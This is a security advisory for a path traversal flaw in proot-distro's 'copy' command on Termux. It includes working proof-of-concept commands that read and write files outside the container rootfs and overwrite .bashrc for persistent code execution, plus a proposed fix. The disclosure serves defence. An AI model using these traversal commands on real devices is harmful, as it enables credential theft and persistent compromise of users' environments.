GHSA-mfr4-mq8w-vmg6: Path Traversal
<html><head></head><body><h1>Path Traversal in <code>proot-distro copy</code> — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs</h1> <h2>Repository</h2> <p>https://github.com/termux/proot-distro</p> <p><strong>Maintainer:</strong> @sylirre</p> <hr> <h2>Affected Component</h2> <ul> <li><strong>Package:</strong> proot-distro</li> <li><strong>Affected command:</strong> <code>copy</code></li> <li><strong>Attack surface:</strong> Host-side Termux CLI — this is not a guest distro shell issue</li> <li><strong>Vulnerability type:</strong> Path Traversal (CWE-22)</li> </ul> <hr> <h2>Affected Versions</h2>
Component | Version -- | -- proot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19) Test distro | Ubuntu 25.10 "Questing Quokka" (ubuntu alias) Architecture | aarch64 Device | Samsung A23 Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64
<hr> <h2>Proof of Concept</h2> <p>All tests were performed using only self-owned files and harmless marker data. No root was used. No third-party data was involved. The <code>.bashrc</code> overwritten during testing was immediately restored.</p> <h3>Step 1 — Setup</h3> <pre><code>rm -rf ~/poc mkdir -p ~/poc </code></pre> <hr> <h3>Step 2 — Arbitrary write (overwrite a file outside the container rootfs)</h3> <pre><code>echo "ORIGINAL" > ~/poc/target.txt echo "PWNEDBYPROOTDISTRO" > ~/poc/evil.txt
proot-distro copy \ ~/poc/evil.txt \ "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt" </code></pre> <p>Observed output:</p> <pre><code>[] Source: '/data/data/com.termux/files/home/poc/evil.txt' [] Destination: '/data/data/com.termux/files/home/poc/target.txt' [] Copying files, this may take a while... [] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/target.txt → PWNEDBYPROOTDISTRO </code></pre> <p>This confirms that the destination resolved to a path outside the container rootfs and the file was overwritten successfully.</p> <hr> <h3>Step 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)</h3> <pre><code>echo "TOPSECRET" > ~/poc/secret.txt
proot-distro copy \ "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt" \ ~/poc/readresult.txt </code></pre> <p>Observed output:</p> <pre><code>[] Source: '/data/data/com.termux/files/home/poc/secret.txt' [] Destination: '/data/data/com.termux/files/home/poc/readresult.txt' [] Copying files, this may take a while... [] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/readresult.txt → TOPSECRET </code></pre> <p>This confirms that the source path resolved to a file outside the container rootfs and its contents were successfully copied to a host-side destination.</p> <hr> <h3>Step 4 — Persistent code execution via <code>.bashrc</code> overwrite</h3> <pre><code>printf 'echo VULNTRIGGERED > ~/poc/proof.txt\n' > ~/poc/payload.sh
proot-distro copy ~/poc/payload.sh \ "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc" </code></pre> <p>Observed output:</p> <pre><code>[] Source: '/data/data/com.termux/files/home/poc/payload.sh' [] Destination: '/data/data/com.termux/files/home/.bashrc' [] Copying files, this may take a while... [] Finished copying files. </code></pre> <p>Verification before restart:</p> <pre><code>cat ~/.bashrc → echo VULNTRIGGERED > ~/poc/proof.txt </code></pre> <p>After closing and reopening Termux, the new shell sourced <code>.bashrc</code> and executed the payload automatically:</p> <pre><code>cat ~/poc/proof.txt → VULNTRIGGERED </code></pre> <p>This confirms that attacker-controlled content written into <code>.bashrc</code> executes automatically on the next shell launch, resulting in persistent local code execution within the Termux app context.</p> <hr> <h2>Attack Scenario</h2> <p>The most realistic exploitation path is a confused deputy scenario: a community script, Termux plugin, or automated tool calls <code>proot-distro copy</code> with a path derived from untrusted input. The attacker supplies a crafted container path. The tool resolves it to a host-side location and reads or writes the file without any boundary check. The user sees normal command output and no indication that a file outside the container was touched.</p> <p>On a real device with SSH keys or stored credentials in the Termux home directory, the read primitive allows silent credential theft. The write primitive to <code>.bashrc</code> allows persistent code execution triggered on next login.</p> <hr> <h2>Proposed Fix</h2> <p>After resolving the container-relative path, verify that the canonical result remains inside the container rootfs before allowing any read or write operation. Example mitigation pattern in Python:</p> <pre><code>import os
def saferesolve(rootfs, containerpath): candidate = os.path.realpath(os.path.join(rootfs, containerpath.lstrip('/'))) root = os.path.realpath(rootfs) if candidate != root and not candidate.startswith(root + os.sep): raise ValueError("path traversal detected: resolved path escapes rootfs") return candidate </code></pre> <p>This check must be applied to both the source and destination paths in the <code>copy</code> subcommand.</p> <hr> <h2>Additional Notes</h2> <ul> <li>This issue was reproduced on the official Termux release from https://packages-cf.termux.dev, not a fork.</li> <li>No root access was used at any point during testing.</li> <li>All test files were self-owned and contained only harmless marker data.</li> <li>The <code>.bashrc</code> overwritten during testing was immediately restored after verification.</li> </ul></body></html>
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/proot-distroto a version that resolves this vulnerability.Fixed in 5.1.0
Event History
Frequently Asked Questions
What is the severity of GHSA-mfr4-mq8w-vmg6?
The severity of GHSA-mfr4-mq8w-vmg6 is medium with a CVSS score of 6.6.
What vulnerabilities are associated with GHSA-mfr4-mq8w-vmg6?
GHSA-mfr4-mq8w-vmg6 is associated with path traversal vulnerabilities that allow arbitrary read, write, and persistent code execution outside container rootfs.
How do I fix GHSA-mfr4-mq8w-vmg6?
To fix GHSA-mfr4-mq8w-vmg6, update to the latest version of proot-distro as provided in the security advisory.
Which software is affected by GHSA-mfr4-mq8w-vmg6?
The affected software associated with GHSA-mfr4-mq8w-vmg6 is proot-distro.
Who maintains the repository related to GHSA-mfr4-mq8w-vmg6?
The repository related to GHSA-mfr4-mq8w-vmg6 is maintained by @sylirre.